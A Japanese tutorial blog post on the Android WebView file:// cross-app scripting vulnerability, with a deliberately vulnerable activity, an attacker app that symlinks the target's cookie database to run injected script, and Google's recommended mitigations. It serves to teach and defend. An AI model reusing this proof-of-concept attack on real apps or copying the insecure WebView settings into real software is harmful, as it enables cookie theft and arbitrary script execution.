(Android)WebViewのfile:// スキーム読み込みを使用したクロスアプリスクリプティング脆弱性を理解する

WebViewを使用したAndroidアプリに関して、WebViewのfile:// スキーム読み込みを使用したクロスアプリスクリプティング脆弱性への対応に関するgoogleの説明記事が出ていました。

https://support.google.com/faqs/answer/9084685?hl=ja

こちらの脆弱性について調べると2021年にEvernoteのAndroidアプリでこの脆弱性に対して攻撃を受けてcookieが流出したようです。
https://blog.oversecured.com/Evernote-Universal-XSS-theft-of-all-cookies-from-all-sites-and-more/

今回はWebViewのfile:// スキーム読み込みを使用したクロスアプリスクリプティング脆弱性を理解するために、検証のため脆弱性のあるアプリソースと脆弱性の攻撃を行う手順を説明し、対策について記載します。

WebViewのfile:// スキーム読み込みを使用したクロスアプリスクリプティング脆弱性の検証

検証手順0. 前提条件(検証のための脆弱性のあるアプリソース)

以下が検証用のソースコードです。 WebShowActivity という外部に公開されたActivityを持っていて、targetUrl というextrasデータで指定したサイトをWebViewで表示する仕様になっています。

./app/src/main/AndroidManifest.xml

        <activity android:exported="true" android:name=".WebShowActivity">
            <intent-filter>
                <action android:name="android.intent.action.VIEW" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

./app/src/main/java/com/inspection/fileurlcookievulnerabilityinspection/WebShowActivity.java

package com.inspection.fileurlcookievulnerabilityinspection;

import android.os.Build;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.webkit.CookieManager;
import android.webkit.WebChromeClient;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;

import androidx.appcompat.app.AppCompatActivity;

public class WebShowActivity extends AppCompatActivity {

    String TAG = "WebShowActivity";
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        String targetUrl = "";
        targetUrl = getIntent().getStringExtra("targetUrl");
        if(targetUrl == null || targetUrl.isEmpty()) {
            targetUrl = "file:///android_asset/www/index.html";
        }
        show(targetUrl);
    }

    public void show(String url) {
        WebView webView = new WebView(this);
        WebSettings settings = webView.getSettings();
        settings.setJavaScriptEnabled(true);
        settings.setJavaScriptCanOpenWindowsAutomatically(true);
        settings.setDomStorageEnabled(true);

        webView.setWebViewClient(new WebViewClient());
        webView.setWebChromeClient(new WebChromeClient());

        settings.setAllowFileAccess(true);
        settings.setAllowUniversalAccessFromFileURLs(true);

        CookieManager cookieManager = CookieManager.getInstance();

        cookieManager.setAcceptFileSchemeCookies(true);
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
            cookieManager.setAcceptThirdPartyCookies(webView, true);
        }

        Log.d(TAG, "url:" + url + " will be loaded");
        setContentView(webView);
        webView.loadUrl(url);
    }
}

検証手順1. ダミーのスクリプトcookieを付与するWebページを用意する

ダミーのサイトでcookieに下記の設定を追加するようにします。

document.cookie = "x = '<script>/** 任意のjavascript **/ window.alert('cross app scripting atack'); </script>'";

検証手順2. 攻撃用の別アプリからWebShowActivityを呼び出して file:// スキームでlocalのcookieデータベースを表示する

攻撃用の別アプリから、WebShowActivityを呼び出して file:// スキームでlocalのcookieデータベースへアクセスします。以下がWebShowActivityを呼び出して file:// スキームでcookieデータベースへのシンボリックリンクを表示するような実装になります。

VulnerableCrossAppScriptActivity.java

public class VulnerableCrossAppScriptActivity extends AppCompatActivity {
    private static String TAG = "VulnerableCrossAppScriptActivity";
    private static final String TARGET_APP = "com.inspection.fileurlcookievulnerabilityinspection";

    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        launch("https://用意した任意のホスト/danger.html");
        new Handler().postDelayed(() -> launch("file://" + symlink()), 45000);
    }

    private void launch(String url) {
        Intent intent = new Intent(this, WebShowActivity.class);
        intent.putExtra("targetUrl", url);
        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);

        startActivity(intent);
    }

    private String symlink() {
        try {
            String root = getApplicationInfo().dataDir;
            String symlink = root + "/symlink.html";

            Runtime.getRuntime().exec("ln -s " + cookies + " " + symlink).waitFor();
            Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();

            return symlink;
        }
        catch (Throwable th) {
            throw new RuntimeException(th);
        }
    }
}

これでアプリのWebViewが通信時に取得した全Cookieが保持されているSQLiteのデータストア /data/data/com.inspection.fileurlcookievulnerabilityinspection/app_webview/Default/Cookies がシンボリックリンク/data/data/攻撃するアプリ名/symlink.html を通してwebviewで読み込まれることでcookieに設定したscriptがwebviewで実行され、任意のスクリプトが実行されます。

以上がWebViewのfile:// スキーム読み込みを使用したクロスアプリスクリプティング脆弱性の検証ソースとクロスアプリスクリプティング脆弱性の仕組みでした。

WebViewのfile:// スキーム読み込みを使用したクロスアプリスクリプティング脆弱性への対策

こちらのサイトに記載されている対策方法について記載します。

https://support.google.com/faqs/answer/9084685?hl=ja

対策1. WebViewのfile://スキームのアクセスを無効化する。

a: すべてのファイル アクセスを無効にします

検証ソースの WebShowActivity はWebViewの設定で file:// スキームのアクセスを有効化しているため、こちらを無効化しておくことで、WebViewのクロスアプリスクリプティング脆弱性への対策となります。

    public void show(String url) {
        WebView webView = new WebView(this);
        WebSettings settings = webView.getSettings();
        settings.setJavaScriptEnabled(true);
        settings.setJavaScriptCanOpenWindowsAutomatically(true);
        settings.setDomStorageEnabled(true);

        webView.setWebViewClient(new WebViewClient());
        webView.setWebChromeClient(new WebChromeClient());

-        settings.setAllowFileAccess(true);
-        settings.setAllowUniversalAccessFromFileURLs(true);

対策2. WebViewのfile://スキームのアクセスを検証する実装をする。

b: WebView で file:// URL のみが読み込まれることと、読み込まれる file:// URL が安全なファイルを指していることを確認します。なお、攻撃者は、URL パスのチェックを回避するために、シンボリック リンクを使用することがあります。そのような攻撃を防ぐには、単純に URL パスを確認するのではなく、信頼できない file:// URL の 正規パスを読み込み前に確認してください。

c: http:// URL と file:// URL の両方を許可する場合は、WebViewClient で shouldOverrideUrlLoading と shouldInterceptRequest を使用して file:// URL の検証を実装します。これにより、loadUrl() 関数の呼び出しに直接提供される URL に限らず、WebView に読み込まれるすべての URL を検証できます。

ソースの実装で、読み込まれるファイルが安全なファイルかどうかを確認する実装や、urlを検証する実装を追加することでWebViewのクロスアプリスクリプティング脆弱性への対策となります。

外部から使用しないWebViewを使用したActivityで android:exported=”false” を設定する。

オプション 1: 影響を受けるアクティビティをエクスポートできないようにする

影響を受ける WebView を使用しているアクティビティをすべて見つけます。対象アクティビティが他のアプリからインテントを取得する必要がない場合は、マニフェスト内で対象アクティビティに対して android:exported=false を設定します。これにより、有害なアプリは、対象アクティビティ内の WebView に対して不正な入力を送信することができなくなります。

検証ソースの WebShowActivity は外部に公開する android:exported="true" が設定されていますが、これをfalseにしておくことで、外部アプリから WebShowActivity が悪用されることを防ぐことができます。

以上です。